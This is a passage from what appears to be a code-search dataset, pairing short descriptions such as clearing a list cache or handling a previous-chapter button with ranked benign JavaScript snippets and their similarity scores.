document.getElementById('infoSingleView').classList.remove('d-none');\n document.getElementById('pokedexGeneralView').classList.add('d-none');\n}", "title": "" }, { "docid": "b28f339f2b02c18f0772278a51036a96", "score": "0.5890659", "text": "function removegroupElem(classname) {\n\tvar list = document.getElementsByClassName(classname);\n\tfor(var i=list.length-1; i>=0; i--){\n\t\tvar elem = list[i];\n\t\tif(elem.className === classname){\n\t\t\telem.parentNode.removeChild(elem);\n\t\t}\n\t}\n}", "title": "" } ]
36aa21af692349ba272291328aff6064
Removes all keyvalue entries from the list cache.
[ { "docid": "051c6c475583233022517635de972be3", "score": "0.0", "text": "function listCacheClear() {\n this.__data__ = [];\n this.size = 0;\n}", "title": "" } ]
[ { "docid": "dba73f4aac72eb81c9ba057b88fe3b2d", "score": "0.73586595", "text": "function listCacheClear(){this.__data__=[];}", "title": "" }, { "docid": "dba73f4aac72eb81c9ba057b88fe3b2d", "score": "0.73586595", "text": "function listCacheClear(){this.__data__=[];}", "title": "" }, { "docid": "dba73f4aac72eb81c9ba057b88fe3b2d", "score": "0.73586595", "text": "function listCacheClear(){this.__data__=[];}", "title": "" }, { "docid": "ff781408d5affe129a230b7259c52b30", "score": "0.727926", "text": "function listCacheClear() {\n\t this.__data__ = [];\n\t }", "title": "" }, { "docid": "091932deb6ef5447878f383e3d58fa2a", "score": "0.7278776", "text": "function listCacheClear() {\n this.__data__ = [], this.size = 0;\n }", "title": "" }, { "docid": "30e51e1abeea40397be61f54d8e2d554", "score": "0.72593343", "text": "function listCacheClear() {\n\t\t\tthis.__data__ = [];\n\t\t\tthis.size = 0;\n\t\t}", "title": "" }, { "docid": "30e51e1abeea40397be61f54d8e2d554", "score": "0.72593343", "text": "function listCacheClear() {\n\t\t\tthis.__data__ = [];\n\t\t\tthis.size = 0;\n\t\t}", "title": "" }, { "docid": "30e51e1abeea40397be61f54d8e2d554", "score": "0.72593343", "text": "function listCacheClear() {\n\t\t\tthis.__data__ = [];\n\t\t\tthis.size = 0;\n\t\t}", "title": "" }, { "docid": "856975e42e732e0f7d2a3a028af7e783", "score": "0.72572887", "text": "function listCacheClear(){this.__data__=[];this.size=0}", "title": "" }, { "docid": "856975e42e732e0f7d2a3a028af7e783", "score": "0.72572887", "text": "function listCacheClear(){this.__data__=[];this.size=0}", "title": "" }, { "docid": "856975e42e732e0f7d2a3a028af7e783", "score": "0.72572887", "text": "function listCacheClear(){this.__data__=[];this.size=0}", "title": "" }, { "docid": "99a61b4a7b37bee0fd484a513c485249", "score": "0.72551614", "text": "function listCacheClear() {\n this.__data__ = []\n this.size = 0\n }", "title": "" }, { "docid": "0722af3dd2b115f1061e86979b9b6a16", "score": "0.72368693", "text": "function listCacheClear(){this.__data__=[];this.size=0;}", "title": "" }, { "docid": "0722af3dd2b115f1061e86979b9b6a16", "score": "0.72368693", "text": "function listCacheClear(){this.__data__=[];this.size=0;}", "title": "" }, { "docid": "0722af3dd2b115f1061e86979b9b6a16", "score": "0.72368693", "text": "function listCacheClear(){this.__data__=[];this.size=0;}", "title": "" }, { "docid": "0722af3dd2b115f1061e86979b9b6a16", "score": "0.72368693", "text": "function listCacheClear(){this.__data__=[];this.size=0;}", "title": "" }, { "docid": "0722af3dd2b115f1061e86979b9b6a16", "score": "0.72368693", "text": "function listCacheClear(){this.__data__=[];this.size=0;}", "title": "" }, { "docid": "0722af3dd2b115f1061e86979b9b6a16", "score": "0.72368693", "text": "function listCacheClear(){this.__data__=[];this.size=0;}", "title": "" }, { "docid": "0722af3dd2b115f1061e86979b9b6a16", "score": "0.72368693", "text": "function listCacheClear(){this.__data__=[];this.size=0;}", "title": "" }, { "docid": "0722af3dd2b115f1061e86979b9b6a16", "score": "0.72368693", "text": "function listCacheClear(){this.__data__=[];this.size=0;}", "title": "" }, { "docid": "0722af3dd2b115f1061e86979b9b6a16", "score": "0.72368693", "text": "function listCacheClear(){this.__data__=[];this.size=0;}", "title": "" }, { "docid": "0722af3dd2b115f1061e86979b9b6a16", "score": "0.72368693", "text": "function listCacheClear(){this.__data__=[];this.size=0;}", "title": "" }, { "docid": "0722af3dd2b115f1061e86979b9b6a16", "score": "0.72368693", "text": "function listCacheClear(){this.__data__=[];this.size=0;}", "title": "" }, { "docid": "0722af3dd2b115f1061e86979b9b6a16", "score": "0.72368693", "text": "function listCacheClear(){this.__data__=[];this.size=0;}", "title": "" }, { "docid": "0722af3dd2b115f1061e86979b9b6a16", "score": "0.72368693", "text": "function listCacheClear(){this.__data__=[];this.size=0;}", "title": "" }, { "docid": "0722af3dd2b115f1061e86979b9b6a16", "score": "0.72368693", "text": "function listCacheClear(){this.__data__=[];this.size=0;}", "title": "" }, { "docid": "0722af3dd2b115f1061e86979b9b6a16", "score": "0.72368693", "text": "function listCacheClear(){this.__data__=[];this.size=0;}", "title": "" }, { "docid": "0722af3dd2b115f1061e86979b9b6a16", "score": "0.72368693", "text": "function listCacheClear(){this.__data__=[];this.size=0;}", "title": "" }, { "docid": "0722af3dd2b115f1061e86979b9b6a16", "score": "0.72368693", "text": "function listCacheClear(){this.__data__=[];this.size=0;}", "title": "" }, { "docid": "0722af3dd2b115f1061e86979b9b6a16", "score": "0.72368693", "text": "function listCacheClear(){this.__data__=[];this.size=0;}", "title": "" }, { "docid": "45e3e18ed3baa54b073cfda12c8d07c5", "score": "0.7234948", "text": "function listCacheClear() {\n\t this.__data__ = [];\n\t this.size = 0;\n\t }", "title": "" }, { "docid": "45e3e18ed3baa54b073cfda12c8d07c5", "score": "0.7234948", "text": "function listCacheClear() {\n\t this.__data__ = [];\n\t this.size = 0;\n\t }", "title": "" }, { "docid": "45e3e18ed3baa54b073cfda12c8d07c5", "score": "0.7234948", "text": "function listCacheClear() {\n\t this.__data__ = [];\n\t this.size = 0;\n\t }", "title": "" }, { "docid": "45e3e18ed3baa54b073cfda12c8d07c5", "score": "0.7234948", "text": "function listCacheClear() {\n\t this.__data__ = [];\n\t this.size = 0;\n\t }", "title": "" }, { "docid": "45e3e18ed3baa54b073cfda12c8d07c5", "score": "0.7234948", "text": "function listCacheClear() {\n\t this.__data__ = [];\n\t this.size = 0;\n\t }", "title": "" }, { "docid": "45e3e18ed3baa54b073cfda12c8d07c5", "score": "0.7234948", "text": "function listCacheClear() {\n\t this.__data__ = [];\n\t this.size = 0;\n\t }", "title": "" }, { "docid": "45e3e18ed3baa54b073cfda12c8d07c5", "score": "0.7234948", "text": "function listCacheClear() {\n\t this.__data__ = [];\n\t this.size = 0;\n\t }", "title": "" }, { "docid": "45e3e18ed3baa54b073cfda12c8d07c5", "score": "0.7234948", "text": "function listCacheClear() {\n\t this.__data__ = [];\n\t this.size = 0;\n\t }", "title": "" }, { "docid": "45e3e18ed3baa54b073cfda12c8d07c5", "score": "0.7234948", "text": "function listCacheClear() {\n\t this.__data__ = [];\n\t this.size = 0;\n\t }", "title": "" }, { "docid": "45e3e18ed3baa54b073cfda12c8d07c5", "score": "0.7234948", "text": "function listCacheClear() {\n\t this.__data__ = [];\n\t this.size = 0;\n\t }", "title": "" }, { "docid": "45e3e18ed3baa54b073cfda12c8d07c5", "score": "0.7234948", "text": "function listCacheClear() {\n\t this.__data__ = [];\n\t this.size = 0;\n\t }", "title": "" }, { "docid": "45e3e18ed3baa54b073cfda12c8d07c5", "score": "0.7234948", "text": "function listCacheClear() {\n\t this.__data__ = [];\n\t this.size = 0;\n\t }", "title": "" }, { "docid": "45e3e18ed3baa54b073cfda12c8d07c5", "score": "0.7234948", "text": "function listCacheClear() {\n\t this.__data__ = [];\n\t this.size = 0;\n\t }", "title": "" }, { "docid": "3191bde3ab1f552d353be5a1f6af5785", "score": "0.72323734", "text": "function listCacheClear() {\n this.__data__ = [];\n this.size = 0;\n }", "title": "" }, { "docid": "1dc0ce38162610f2cb66b7ee7aeeb8b4", "score": "0.72322565", "text": "function listCacheClear() {\n\t this.__data__ = [];\n\t }", "title": "" }, { "docid": "1dc0ce38162610f2cb66b7ee7aeeb8b4", "score": "0.72322565", "text": "function listCacheClear() {\n\t this.__data__ = [];\n\t }", "title": "" }, { "docid": "1dc0ce38162610f2cb66b7ee7aeeb8b4", "score": "0.72322565", "text": "function listCacheClear() {\n\t this.__data__ = [];\n\t }", "title": "" }, { "docid": "1dc0ce38162610f2cb66b7ee7aeeb8b4", "score": "0.72322565", "text": "function listCacheClear() {\n\t this.__data__ = [];\n\t }", "title": "" }, { "docid": "1dc0ce38162610f2cb66b7ee7aeeb8b4", "score": "0.72322565", "text": "function listCacheClear() {\n\t this.__data__ = [];\n\t }", "title": "" }, { "docid": "86381fd7295752e8d1d605b13a24817d", "score": "0.7227093", "text": "function listCacheClear() {\n this.__data__ = [];\n this.size = 0;\n }", "title": "" }, { "docid": "86381fd7295752e8d1d605b13a24817d", "score": "0.7227093", "text": "function listCacheClear() {\n this.__data__ = [];\n this.size = 0;\n }", "title": "" }, { "docid": "86381fd7295752e8d1d605b13a24817d", "score": "0.7227093", "text": "function listCacheClear() {\n this.__data__ = [];\n this.size = 0;\n }", "title": "" }, { "docid": "86381fd7295752e8d1d605b13a24817d", "score": "0.7227093", "text": "function listCacheClear() {\n this.__data__ = [];\n this.size = 0;\n }", "title": "" }, { "docid": "86381fd7295752e8d1d605b13a24817d", "score": "0.7227093", "text": "function listCacheClear() {\n this.__data__ = [];\n this.size = 0;\n }", "title": "" }, { "docid": "86381fd7295752e8d1d605b13a24817d", "score": "0.7227093", "text": "function listCacheClear() {\n this.__data__ = [];\n this.size = 0;\n }", "title": "" }, { "docid": "86381fd7295752e8d1d605b13a24817d", "score": "0.7227093", "text": "function listCacheClear() {\n this.__data__ = [];\n this.size = 0;\n }", "title": "" }, { "docid": "86381fd7295752e8d1d605b13a24817d", "score": "0.7227093", "text": "function listCacheClear() {\n this.__data__ = [];\n this.size = 0;\n }", "title": "" }, { "docid": "86381fd7295752e8d1d605b13a24817d", "score": "0.7227093", "text": "function listCacheClear() {\n this.__data__ = [];\n this.size = 0;\n }", "title": "" }, { "docid": "e12d2c948ebc8b7eefc133d67f960d64", "score": "0.72269017", "text": "function listCacheClear() {\n this.__data__ = [];\n this.size = 0;\n }", "title": "" }, { "docid": "e12d2c948ebc8b7eefc133d67f960d64", "score": "0.72269017", "text": "function listCacheClear() {\n this.__data__ = [];\n this.size = 0;\n }", "title": "" }, { "docid": "e52494ef774782eda67d04a8b9af5dd3", "score": "0.7222181", "text": "clear() {\n\t\tif (this[ON_REMOVE] && this[LRU_LIST]) {\n\t\t\tthis[LRU_LIST].forEach(hit => {\n\t\t\t\tthis[ON_REMOVE](hit.value, hit.key);\n\t\t\t});\n\t\t}\n\t\tthis[CACHE] = new Map();\n\t\tthis[LRU_LIST] = new LinkedList();\n\t\tthis[LENGTH] = 0;\n\t}", "title": "" }, { "docid": "5eaac506d61ebda454500928edacce6b", "score": "0.7215355", "text": "function listCacheClear() {\n this.__data__ = [];\n this.size = 0;\n }", "title": "" }, { "docid": "e1bae4acd4851350518e3e14ecb8e454", "score": "0.72082454", "text": "function listCacheClear() {\n this.__data__ = [];\n this.size = 0;\n }", "title": "" }, { "docid": "e1bae4acd4851350518e3e14ecb8e454", "score": "0.72082454", "text": "function listCacheClear() {\n this.__data__ = [];\n this.size = 0;\n }", "title": "" }, { "docid": "ffff2a14105ffe57d16be5dbb9b35983", "score": "0.71803284", "text": "function listCacheClear() {\n this.__data__ = [];\n this.size = 0;\n }", "title": "" }, { "docid": "ffff2a14105ffe57d16be5dbb9b35983", "score": "0.71803284", "text": "function listCacheClear() {\n this.__data__ = [];\n this.size = 0;\n }", "title": "" }, { "docid": "ffff2a14105ffe57d16be5dbb9b35983", "score": "0.71803284", "text": "function listCacheClear() {\n this.__data__ = [];\n this.size = 0;\n }", "title": "" }, { "docid": "ffff2a14105ffe57d16be5dbb9b35983", "score": "0.71803284", "text": "function listCacheClear() {\n this.__data__ = [];\n this.size = 0;\n }", "title": "" }, { "docid": "ffff2a14105ffe57d16be5dbb9b35983", "score": "0.71803284", "text": "function listCacheClear() {\n this.__data__ = [];\n this.size = 0;\n }", "title": "" }, { "docid": "ffff2a14105ffe57d16be5dbb9b35983", "score": "0.71803284", "text": "function listCacheClear() {\n this.__data__ = [];\n this.size = 0;\n }", "title": "" }, { "docid": "ffff2a14105ffe57d16be5dbb9b35983", "score": "0.71803284", "text": "function listCacheClear() {\n this.__data__ = [];\n this.size = 0;\n }", "title": "" }, { "docid": "ffff2a14105ffe57d16be5dbb9b35983", "score": "0.71803284", "text": "function listCacheClear() {\n this.__data__ = [];\n this.size = 0;\n }", "title": "" }, { "docid": "ffff2a14105ffe57d16be5dbb9b35983", "score": "0.71803284", "text": "function listCacheClear() {\n this.__data__ = [];\n this.size = 0;\n }", "title": "" }, { "docid": "ffff2a14105ffe57d16be5dbb9b35983", "score": "0.71803284", "text": "function listCacheClear() {\n this.__data__ = [];\n this.size = 0;\n }", "title": "" }, { "docid": "ffff2a14105ffe57d16be5dbb9b35983", "score": "0.71803284", "text": "function listCacheClear() {\n this.__data__ = [];\n this.size = 0;\n }", "title": "" }, { "docid": "ffff2a14105ffe57d16be5dbb9b35983", "score": "0.71803284", "text": "function listCacheClear() {\n this.__data__ = [];\n this.size = 0;\n }", "title": "" }, { "docid": "ffff2a14105ffe57d16be5dbb9b35983", "score": "0.71803284", "text": "function listCacheClear() {\n this.__data__ = [];\n this.size = 0;\n }", "title": "" }, { "docid": "ffff2a14105ffe57d16be5dbb9b35983", "score": "0.71803284", "text": "function listCacheClear() {\n this.__data__ = [];\n this.size = 0;\n }", "title": "" }, { "docid": "ffff2a14105ffe57d16be5dbb9b35983", "score": "0.71803284", "text": "function listCacheClear() {\n this.__data__ = [];\n this.size = 0;\n }", "title": "" }, { "docid": "ffff2a14105ffe57d16be5dbb9b35983", "score": "0.71803284", "text": "function listCacheClear() {\n this.__data__ = [];\n this.size = 0;\n }", "title": "" }, { "docid": "ffff2a14105ffe57d16be5dbb9b35983", "score": "0.71803284", "text": "function listCacheClear() {\n this.__data__ = [];\n this.size = 0;\n }", "title": "" }, { "docid": "ffff2a14105ffe57d16be5dbb9b35983", "score": "0.71803284", "text": "function listCacheClear() {\n this.__data__ = [];\n this.size = 0;\n }", "title": "" }, { "docid": "ffff2a14105ffe57d16be5dbb9b35983", "score": "0.71803284", "text": "function listCacheClear() {\n this.__data__ = [];\n this.size = 0;\n }", "title": "" }, { "docid": "ffff2a14105ffe57d16be5dbb9b35983", "score": "0.71803284", "text": "function listCacheClear() {\n this.__data__ = [];\n this.size = 0;\n }", "title": "" }, { "docid": "ffff2a14105ffe57d16be5dbb9b35983", "score": "0.71803284", "text": "function listCacheClear() {\n this.__data__ = [];\n this.size = 0;\n }", "title": "" }, { "docid": "ffff2a14105ffe57d16be5dbb9b35983", "score": "0.71803284", "text": "function listCacheClear() {\n this.__data__ = [];\n this.size = 0;\n }", "title": "" }, { "docid": "ffff2a14105ffe57d16be5dbb9b35983", "score": "0.71803284", "text": "function listCacheClear() {\n this.__data__ = [];\n this.size = 0;\n }", "title": "" }, { "docid": "ffff2a14105ffe57d16be5dbb9b35983", "score": "0.71803284", "text": "function listCacheClear() {\n this.__data__ = [];\n this.size = 0;\n }", "title": "" }, { "docid": "ffff2a14105ffe57d16be5dbb9b35983", "score": "0.71803284", "text": "function listCacheClear() {\n this.__data__ = [];\n this.size = 0;\n }", "title": "" }, { "docid": "ffff2a14105ffe57d16be5dbb9b35983", "score": "0.71803284", "text": "function listCacheClear() {\n this.__data__ = [];\n this.size = 0;\n }", "title": "" }, { "docid": "ffff2a14105ffe57d16be5dbb9b35983", "score": "0.71803284", "text": "function listCacheClear() {\n this.__data__ = [];\n this.size = 0;\n }", "title": "" }, { "docid": "ffff2a14105ffe57d16be5dbb9b35983", "score": "0.71803284", "text": "function listCacheClear() {\n this.__data__ = [];\n this.size = 0;\n }", "title": "" }, { "docid": "ffff2a14105ffe57d16be5dbb9b35983", "score": "0.71803284", "text": "function listCacheClear() {\n this.__data__ = [];\n this.size = 0;\n }", "title": "" }, { "docid": "ffff2a14105ffe57d16be5dbb9b35983", "score": "0.71803284", "text": "function listCacheClear() {\n this.__data__ = [];\n this.size = 0;\n }", "title": "" }, { "docid": "ffff2a14105ffe57d16be5dbb9b35983", "score": "0.71803284", "text": "function listCacheClear() {\n this.__data__ = [];\n this.size = 0;\n }", "title": "" }, { "docid": "ffff2a14105ffe57d16be5dbb9b35983", "score": "0.71803284", "text": "function listCacheClear() {\n this.__data__ = [];\n this.size = 0;\n }", "title": "" }, { "docid": "ffff2a14105ffe57d16be5dbb9b35983", "score": "0.71803284", "text": "function listCacheClear() {\n this.__data__ = [];\n this.size = 0;\n }", "title": "" }, { "docid": "ffff2a14105ffe57d16be5dbb9b35983", "score": "0.71803284", "text": "function listCacheClear() {\n this.__data__ = [];\n this.size = 0;\n }", "title": "" }, { "docid": "ffff2a14105ffe57d16be5dbb9b35983", "score": "0.71803284", "text": "function listCacheClear() {\n this.__data__ = [];\n this.size = 0;\n }", "title": "" }, { "docid": "ffff2a14105ffe57d16be5dbb9b35983", "score": "0.71803284", "text": "function listCacheClear() {\n this.__data__ = [];\n this.size = 0;\n }", "title": "" }, { "docid": "ffff2a14105ffe57d16be5dbb9b35983", "score": "0.71803284", "text": "function listCacheClear() {\n this.__data__ = [];\n this.size = 0;\n }", "title": "" } ]
555c6a824000e127ce5972360d9941be
end of function angle_OnClick / Name: prev_OnClick / Description: OnClick callback for previous chapter button
[ { "docid": "77057cb4dbe63811cad9689fd6f2d48c", "score": "0.7234252", "text": "function prev_OnClick()\n{\n\ntry {\n\tDVD.PlayPrevChapter();\n\tDVD.PlayForwards(DVDOpt.PlaySpeed);\n}\n\ncatch(e) {\n e.description = L_ERRORUnexpectedError_TEXT;\n\tHandleError(e);\n\treturn;\n}\n\n}", "title": "" } ]
[ { "docid": "3550c2fb852c3eba8ead1551fa64ed6a", "score": "0.78560525", "text": "function onPrevButtonClick() {\n\t\tgotoPrevSlide()\n\t}", "title": "" }, { "docid": "03617ba7e89d7fac6d2758ffad7b13c6", "score": "0.7158814", "text": "function prevchapter(){\n\t\t\tvar curchapt = document.getElementById(\"chaptNum\").innerHTML;\n\t\t\tif(curchapt>0){\n\t\t\t curchapt--;\n\t\t\t}\n\t\t\t \n\t\t\t//Verification\n\t\t\tdocument.getElementById(\"chaptNum\").innerHTML= curchapt;\n\t\t\tdocument.getElementById(\"reader\").innerHTML = curchapt;\n\t\t\tloadPage(curchapt);\n\t\t}", "title": "" }, { "docid": "42035fe28f03ead69b06afeaf268ac7f", "score": "0.7142733", "text": "function prevButtonClickHandler(e) {\n\tvar $pages = document.getElementById('pages'),\n\t\t\tcurrentPage = parseInt($pages.dataset.page);\n\n\tcurrentPage--;\n\tif(currentPage <= 0) currentPage = $pages.children.length;\n\n\t$pages.dataset.page = currentPage;\n\tsetPage(currentPage);\n}", "title": "" }, { "docid": "df78feff4c7ed219f9237f41593cad72", "score": "0.71005744", "text": "function handlePrevBtn() {\n // Move the pointer back\n util.movePtr(\"prev\");\n\n // Extract the index and url at ptr using object deconstruction\n const { idx, url } = ptr.value;\n\n // Update the index\n util.updateIdx(idx);\n\n // Update the carousel's image\n util.updateImage(url);\n }", "title": "" }, { "docid": "638a5e13076b128a764ee6d2c8dd821c", "score": "0.7023748", "text": "function prev(){\n $(\"#prev\").on('click',function(){\n currentPage--;\n PageRender(currentPage);\n disableButton();\n // console.log(currentPage);\n });\n}", "title": "" }, { "docid": "5e504e709b12bafa7eebc13303185e7e", "score": "0.69510216", "text": "function onClickPrev(){\n\tif (currentImage == 0){\n\t\tslideTo(imageNumber - 1);\n\t} \t\t\n\telse{\n\t\tslideTo(currentImage - 1);\n\t}\t\t\n}", "title": "" }, { "docid": "739732940e07e6eb12875d1babe92fe5", "score": "0.68595797", "text": "function onPrevButtonClick(objButton) {\n\n\t\tif (g_functions.isButtonDisabled(objButton))\n\t\t\treturn (true);\n\n\t\tif (g_options.strippanel_buttons_role == \"advance_item\")\n\t\t\tg_gallery.prevItem();\n\t\telse\n\t\t\tg_objStrip.scrollBack();\n\t}", "title": "" }, { "docid": "2d3e0bb656ffc7e351b39ab1073ffceb", "score": "0.68242633", "text": "function prev() {\n goTo(state.currentIndex - 1);\n}", "title": "" }, { "docid": "dd4394012f428a4382de53888bdb480f", "score": "0.6807275", "text": "function onPrevClicked() {\n d3.event.preventDefault();\n\n var currPageNum = parseInt(d3.select(\"#currPageNum\").text());\n var prevPageNum = currPageNum - 1;\n if (currPageNum > 1) {\n // fetch and display previous page contents\n fetchPageData(prevPageNum);\n\n // set currPageNumber\n d3.select(\"#currPageNum\").text(prevPageNum);\n\n // disable/enable buttons based on page nos\n if (prevPageNum == 1) {\n d3.select(\"#prevButton\").classed('disabled', true);\n } else if (prevPageNum == 41) {\n d3.select(\"#nextButton\").classed('disabled', false);\n }\n }\n}", "title": "" }, { "docid": "49dbf72adcd3487effd0d4d0a6083245", "score": "0.67356867", "text": "function handlePrev() {\n\n $(document).on('click', '.prev', function (event) {\n event.preventDefault();\n $(window).scrollTop(0);\n STORE.page--;\n searchMovieAPI();\n \n });\n\n}", "title": "" }, { "docid": "f33988e85b63eb1403ca18e0c566511f", "score": "0.67091835", "text": "previousButton() {\r\n let currentStep = this.state.currentStep;\r\n if(currentStep !==1){\r\n return (\r\n <button style={{marginLeft:'80px',backgroundColor:'Tomato'}}\r\n className=\"btn btn-danger\" \r\n type=\"button\" onClick={this._prev}>\r\n Étape précédente\r\n </button>\r\n )\r\n }\r\n return null;\r\n }", "title": "" }, { "docid": "6efb8af8de606bc216ed2aac30843535", "score": "0.6681379", "text": "previousButton() {\n let currentStep = this.state.currentStep;\n if(currentStep !==1) {\n return (\n <button\n className=\"btn btn-secondary\"\n type=\"button\" onClick={this.prev.bind(this)}>\n Previous\n </button>\n );\n }\n return null;\n }", "title": "" }, { "docid": "18965827f17f153d8077586d2a668f08", "score": "0.66170925", "text": "function onPreviousClick() {\n logger.info('onPreviousClick called');\n if (selectedField - 1 >= 0) {\n var UI_ObjectType = textFields[selectedField - 1].getApiName().split('.');\n UI_ObjectType = UI_ObjectType[UI_ObjectType.length - 1];\n if (UI_ObjectType === 'TextField' || UI_ObjectType === \"TextArea\") {\n textFields[selectedField - 1].focus();\n } else {\n textFields[selectedField - 1].fireEvent('autoFocus');\n }\n }\n}", "title": "" }, { "docid": "ea627e2e60690b39f8aded8210b21cc5", "score": "0.66043955", "text": "previousButton() {\r\n let currentStep = this.state.currentStep;\r\n if(currentStep !==1){\r\n return (\r\n <div>\r\n <button className=\"button button1\" \r\n type=\"button\" onClick={this._prev} >\r\n Previous\r\n </button></div> \r\n )\r\n }\r\n return null;\r\n }", "title": "" }, { "docid": "bf13b8d71f7a249790095a24846a41e7", "score": "0.65973526", "text": "previousButton() {\n let currentStep = this.state.currentStep;\n if (currentStep !== 1) {\n return (\n <StyledSheet>\n <button\n className=\"btn btn-secondary\"\n type=\"button\"\n onClick={this._prev}\n >\n Atras\n </button>\n </StyledSheet>\n );\n }\n return null;\n }", "title": "" }, { "docid": "d1bde4742b45667ac787bc60b10b33be", "score": "0.659593", "text": "function PreviousButton() {\n\t\tthis.registerEvents = function(orchestrator) {\n\t\t\tdocument.getElementById(\"id_previousButton\").addEventListener('click', (e) => {\n\t\t\t\te.preventDefault();\n\t\t\t\torchestrator.moveImagesPrevious();\n\n\t\t\t}, false);\n\n\t\t}\n\t}", "title": "" }, { "docid": "5b7f9209cd767857fcbb0b8b9370711f", "score": "0.6593795", "text": "previousButton() {\n let currentStep = this.state.currentStep;\n if (currentStep !== 1) {\n return (\n <button\n className=\"btn btn-secondary\"\n type=\"button\"\n onClick={this._prev}\n style={{ float: \"left\", marginTop: \"10px\" }}\n >\n Previous\n </button>\n );\n }\n return null;\n }", "title": "" }, { "docid": "fc992cff10b96fe9f0dfac1548e6b6f2", "score": "0.6587179", "text": "function handlePreviousBtnClicked() {\n console.log('handlePreviousBtnClicked');\n toggleLoader();\n getDataFromApi(pagination.previous, processData);\n scrollToTop();\n}", "title": "" }, { "docid": "d5928dd8f19a5a54e6cbf9c7506296e0", "score": "0.6580887", "text": "function galleryPrevHandler() {\n\t$('#gallery-prev').click( function( event ) {\n\t\tconsole.log('gallery-prev');\n\t\tgalleryPrev();\n\t});\n}", "title": "" }, { "docid": "e7114ac2e2c372c51164d606436223d3", "score": "0.65683264", "text": "previousButton() {\n let currentStep = this.state.currentStep;\n if(currentStep !==1){\n return (\n <button \n className=\"btn btn-secondary\" \n type=\"button\" onClick={this._prev}>\n Previous\n </button>\n )\n }\n return null;\n }", "title": "" }, { "docid": "7442f0c0176e59640a3edb4c4f34851b", "score": "0.6559539", "text": "previousClicked() {\n this.calendar.activeDate = this.calendar.currentView == 'month' ?\n this._dateAdapter.addCalendarMonths(this.calendar.activeDate, -1) :\n this._dateAdapter.addCalendarYears(this.calendar.activeDate, this.calendar.currentView == 'year' ? -1 : -yearsPerPage);\n }", "title": "" }, { "docid": "d520f96173e51a61af7bde7945c17c5e", "score": "0.6543892", "text": "prev() {\n\t\t\tif (this.currPage > 1) {\n\t\t\t\tthis.currPage--;\n\t\t\t\tthis._loadPage();\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "73c446781ec57630e24276f00e337432", "score": "0.6542244", "text": "function goPrev(){\r\n\tconsole.log(\"prev\");\r\n\tscr.scrollToPage(\"prev\",0,300);\r\n}", "title": "" }, { "docid": "f9736b330f8bd4d425120f4b9b595703", "score": "0.6525627", "text": "function prevPage()\n{\n if (current_page > 1) {\n current_page--;\n changePage(current_page);\n }\n}", "title": "" }, { "docid": "76a8cd0bf3dc1555f390c9dc246f470d", "score": "0.65236783", "text": "onClickPrev() {\n const newIndex = this.state.dataIndex - 1;\n\n if (newIndex >= 0) {\n console.info(`Click Previous to index: ${newIndex}`);\n this.setState({dataIndex: newIndex});\n }\n }", "title": "" }, { "docid": "f5e2c3bb08d2f93318083eebfcebf963", "score": "0.651999", "text": "function prev() {\n\t slide(false, false);\n\t }", "title": "" }, { "docid": "3314082d6468e6ecb71a404343cc1244", "score": "0.6512783", "text": "function previous() {\n loadStart -= 31;\n loadEnd -= 31;\n if (genreIndex == true) {\n if (document.getElementById(\"next\").className == \"hidden\") {\n changeVisibility(\"next\");\n }\n if (loadStart == 0) {\n changeVisibility(\"previous\");\n }\n document.getElementById(\"library\").innerHTML = \"\";\n createGenreShows(currentGenre);\n }\n\n if (showIndex == true) {\n --showPages;\n if (document.getElementById(\"next\").className == \"hidden\") {\n changeVisibility(\"next\");\n }\n if (showPages == 0) {\n changeVisibility(\"previous\");\n }\n document.getElementById(\"library\").innerHTML = \"\";\n fetchShows();\n }\n}", "title": "" }, { "docid": "60b01f0135515175c412cf628c3b0b7c", "score": "0.6504975", "text": "function prevSlide() {\n var length = slides.length,\n new_current = index - 1;\n\n if(new_current < 0) {\n new_current = length-1;\n }\n\n announceSlide = true;\n\n // If we advance to the previous slide, the next needs to be\n // visible to the user, so the third parameter is 'next', not\n // prev.\n setSlides(new_current, false, 'next');\n\n }", "title": "" }, { "docid": "dfc99ff456fed6f15c7edbd387d784fd", "score": "0.65018743", "text": "function prevPage(){\n\n\t\tif (current_page > 1){\n\t\t\tcurrent_page--;\n\t\t\tevent_show(\"\");\n\t\t\tupdate_events();\n\t\t}\n\t}", "title": "" }, { "docid": "c3ce20ecddfc8a801eff3d4ad7feb065", "score": "0.6497086", "text": "function PrevArrow({ onClick }) {\n return (\n <button type=\"button\" className={styles.arrowBtn} aria-label=\"Предыдущий\" onClick={onClick}>\n <LeftArrow />\n </button>\n );\n}", "title": "" }, { "docid": "05aa1784a78eb0cbfb31dcf979af7c81", "score": "0.6476891", "text": "get previousButton() {\n let currentStep = this.state.currentStep;\n\n // If the current step is not 1, then render the \"previous\" button\n if (currentStep !== 1) {\n return (\n <button\n className=\"f6 link dim br3 ba ph3 pv2 mb2 dib light-purple fl distance\"\n type=\"button\"\n onClick={this._prev}\n >\n Previous\n </button>\n );\n }\n // don't render anything\n return null;\n }", "title": "" }, { "docid": "1b5a6c7fa9668e64bc66b13cb5e74718", "score": "0.6470391", "text": "function clickPrevious(props) {\n if (!(props.cardIndex > 0)) { // verify that there is indeed a previous event\n console.warn(\"clickPrevious: cardIndex is not > 0\");\n return;\n }\n props.updateCardIndex(props.cardIndex-1);\n props.selectLoc(null);\n}", "title": "" }, { "docid": "a02e4e9832d5eef3a74483c69615d69d", "score": "0.64653456", "text": "function goPrev() {\n\n\tif(currentScreenNo > 1) {\n\t\tcurrentScreenNo--;\n\t\tframes['myFrame'].location.href = getContentFolderName() + '/' +currentScreenNo+ '.htm';\n\t\t//alert(\"going to screen no: \" + currentScreenNo);\n\t\tif(currentScreenNo == noOfScreens -1) {\n\t\t\tdocument.getElementById('next_link').src = \"../../common_images/icon_nex.gif\";\n\t\t}\n\t} \n\t\n\trefreshCounter();\n}", "title": "" }, { "docid": "016a60c7420ca596d4fb7baa50ae441d", "score": "0.6454068", "text": "function previousClicked() {\n if (currentFeed && currentItemIndex > 0) {\n currentItemIndex--;\n displayCurrentItem();\n }\n }", "title": "" }, { "docid": "2ac750d7af6f0cdf7969634c63993cc1", "score": "0.64395463", "text": "goToPreviousSlide() {\n this._goToSlide(this.previousSlideIndex, false, false);\n }", "title": "" }, { "docid": "db2f8162c12b25be5cef6feacc3da03e", "score": "0.6434967", "text": "previousClicked() {\n if (this.calendar.currentView === McCalendarView.Month) {\n this.calendar.activeDate = this.dateAdapter.addCalendarMonths(this.calendar.activeDate, -1);\n }\n else {\n this.calendar.activeDate = this.dateAdapter.addCalendarYears(this.calendar.activeDate, this.calendar.currentView === McCalendarView.Year ? -1 : -yearsPerPage);\n }\n }", "title": "" }, { "docid": 